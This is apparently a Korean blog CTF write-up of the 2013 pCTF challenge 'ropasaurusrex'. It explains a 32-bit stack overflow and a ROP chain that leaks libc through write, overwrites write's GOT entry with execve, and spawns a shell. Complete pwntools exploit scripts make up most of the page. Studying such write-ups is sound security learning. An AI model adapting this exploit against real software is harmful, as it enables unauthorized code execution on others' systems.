본문 바로가기

Wargame/etc

[ROP_32bit] ropasaurusrex

본 문제는 2013년도  pCTF의 문제이다.

해당 문제는 간단한 풀이만 작성되어 있으며, 해당 기법에 대해 공부하고 싶다면 아래 링크를 참고하기 바란다.

2022.07.10 - [Dreamhack/Wargame] - [Wargame] basic_rop_x86

1. 바이너리 파일

ropasaurusrex
0.00MB

 

 

2. 풀이

(1) 보호 기법을 확인한다.

  • 32bit 프로그램으로, NX와 ASLR이 적용되어 있음을 알 수 있다.

 

(2) 바이너리를 실행해보면 입력받은 후, WIN이라는 문자열을 출력하고 종료된다.

  • 아래 사진은 임의로 dasfsd를 입력한 결과이다.

 

(3) IDA를 이용하여, 디컴파일한다.

  • sub_80483F4 함수에서 buf에 입력값을 받아온다.
  • buf의 크기가 136byte인데, 256byte만큼 입력받아오기 때문에 BOF취약점이 발생한다.
  • BOF취약점을 통해, NX와 ASLR을 우회하는 ROP기법을 사용하여 쉘을 획득할 수 있을 것으로 보인다.

 

 

(4) 공격 시나리오

  • 디컴파일을 통해 read와 write함수 사용을 알 수 있으며, 이는 GOT Overwrite공격 기법에 사용할 수 있다.
  • read함수를 통해, GOT테이블에 존재하는 write함수 주소를 execve함수 주소로 overwrite해줘서 쉘을 획득할 예정이다.

 

(5) ROPgadget을 통해, 사용할 수 있는 가젯을 확인한다.

  • read, write, execve함수 전부 인자가 3개이므로, pop pop pop ret형식의 가젯을 선택해야 한다.
  • 쉘코드가 입력값보다 긴 것을 방지하여, main함수를 다시 한번 불러주고 남은 shellcode를 실행하는 방식으로 exploit을 작성하였다.  (본 문제에서는 256byte만큼 입력받아오므로, 한번에 보내도 문제가 없을 듯하다.)
    따라서, pop ret형식의 가젯도 필요하다.

 

(6) write함수로 read함수의 got주소를 출력하고 이를 통해 execve함수 주소를 계산한다.

  • main함수를 다시 불러, payload입력값의 제한이 없게 한다.
from pwn import *

def success_print(name, value):
    return success(": ".join([name, hex(value)]))

p = process("./ropasaurusrex")
e = ELF("./ropasaurusrex")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

gadget = 0x80484b6 #pop esi; pop edi; pop ebp; ret
gadget2 = 0x80483c3 #pop ebp; ret

write_plt = 0x0804830C
read_plt = 0x0804832C
main = 0x0804841D

write_got = e.got['write']
read_got = e.got['read']
read_libc = libc.symbols['read']
execve_libc = libc.symbols['execve']

payload1  = b"A" * 0x88 
payload1 += b"B" * 0x4

payload1 += p32(write_plt) #write(1, read_got, 0x4)
payload1 += p32(gadget)
payload1 += p32(1)
payload1 += p32(read_got)
payload1 += p32(0x4)

payload1 += p32(main) 
payload1 += p32(gadget2)
payload1 += p32(0)

p.send(payload1)

read_addr = u32(p.recvn(4))
base_libc = read_addr - read_libc
execve_addr = base_libc + execve_libc

success_print("Read Address", read_addr)
success_print("Base Libc Address", base_libc)
success_print("execve Address", execve_addr)

 

(7) bss에 '/bin/sh'문자열을 저장하고, got의 write함수 주소를 execve함수 주소로 변조하여 shell을 획득한다.

  • p.send할 때, '\x00'을 256byte만큼 보낸 이유
    : 해당 프로그램이 read함수로 지정한 256byte만큼 채우지 않으면 아래 줄인 /bin/sh가 payload에 대한 입력값이 아닌 원래 입력값으로 들어가기 때문에 쉘을 획득할 수 없다. 따라서 '\x00'를 입력값만큼 채워야 한다.
payload  = b"A" *0x88
payload += b"B" * 0x4
payload += p32(read_plt) #read(0, binsh, 0x8)
payload += p32(gadget)
payload += p32(0)
payload += p32(binsh)
payload += p32(0x8)

payload += p32(read_plt) #read(0, write_got, 0x4)
payload += p32(gadget)
payload += p32(0)
payload += p32(write_got)
payload += p32(0x4)

payload += p32(write_plt) #execve("/bin/sh", 0, 0)
payload += p32(gadget)
payload += p32(binsh)
payload += p32(0)
payload += p32(0)

p.send(payload.ljust(256,b"\x00"))
p.send(b"/bin/sh\x00")
p.send(p32(execve_addr))

3. exploit

  • 쉘 획득한 것을 표현하기 위해, flag파일은 임의로 생성한 것이다.
from pwn import *

def success_print(name, value):
    return success(": ".join([name, hex(value)]))

p = process("./ropasaurusrex")
e = ELF("./ropasaurusrex")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

gadget = 0x80484b6 #pop esi; pop edi; pop ebp; ret
gadget2 = 0x80483c3 #pop ebp; ret

write_plt = 0x0804830C
read_plt = 0x0804832C
main = 0x0804841D
binsh = 0x08049628

write_got = e.got['write']
read_got = e.got['read']
read_libc = libc.symbols['read']
execve_libc = libc.symbols['execve']
system_libc = libc.symbols['system']


payload1  = b"A" * 0x88 
payload1 += b"B" * 0x4

payload1 += p32(write_plt) #write(1, read_got, 0x4)
payload1 += p32(gadget)
payload1 += p32(1)
payload1 += p32(read_got)
payload1 += p32(0x4)

payload1 += p32(main)
payload1 += p32(gadget2)
payload1 += p32(0)

p.send(payload1)


read_addr = u32(p.recvn(4))
base_libc = read_addr - read_libc
execve_addr = base_libc + execve_libc

success_print("Read Address", read_addr)
success_print("Base Libc Address", base_libc)
success_print("execve Address", execve_addr)

payload  = b"A" *0x88
payload += b"B" * 0x4
payload += p32(read_plt) #read(0, binsh, 0x8)
payload += p32(gadget)
payload += p32(0)
payload += p32(binsh)
payload += p32(0x8)

payload += p32(read_plt) #read(0, write_got, 0x4)
payload += p32(gadget)
payload += p32(0)
payload += p32(write_got)
payload += p32(0x4)

payload += p32(write_plt) #execve("/bin/sh", 0, 0)
payload += p32(gadget)
payload += p32(binsh)
payload += p32(0)
payload += p32(0)

p.send(payload.ljust(256,b"\x00"))
p.send(b"/bin/sh\x00")
p.send(p32(execve_addr))

p.interactive()

 

'Wargame > etc' 카테고리의 다른 글

[ROP_64bit] codegate2018 Qual BaskinRobbins31  (0) 2022.07.10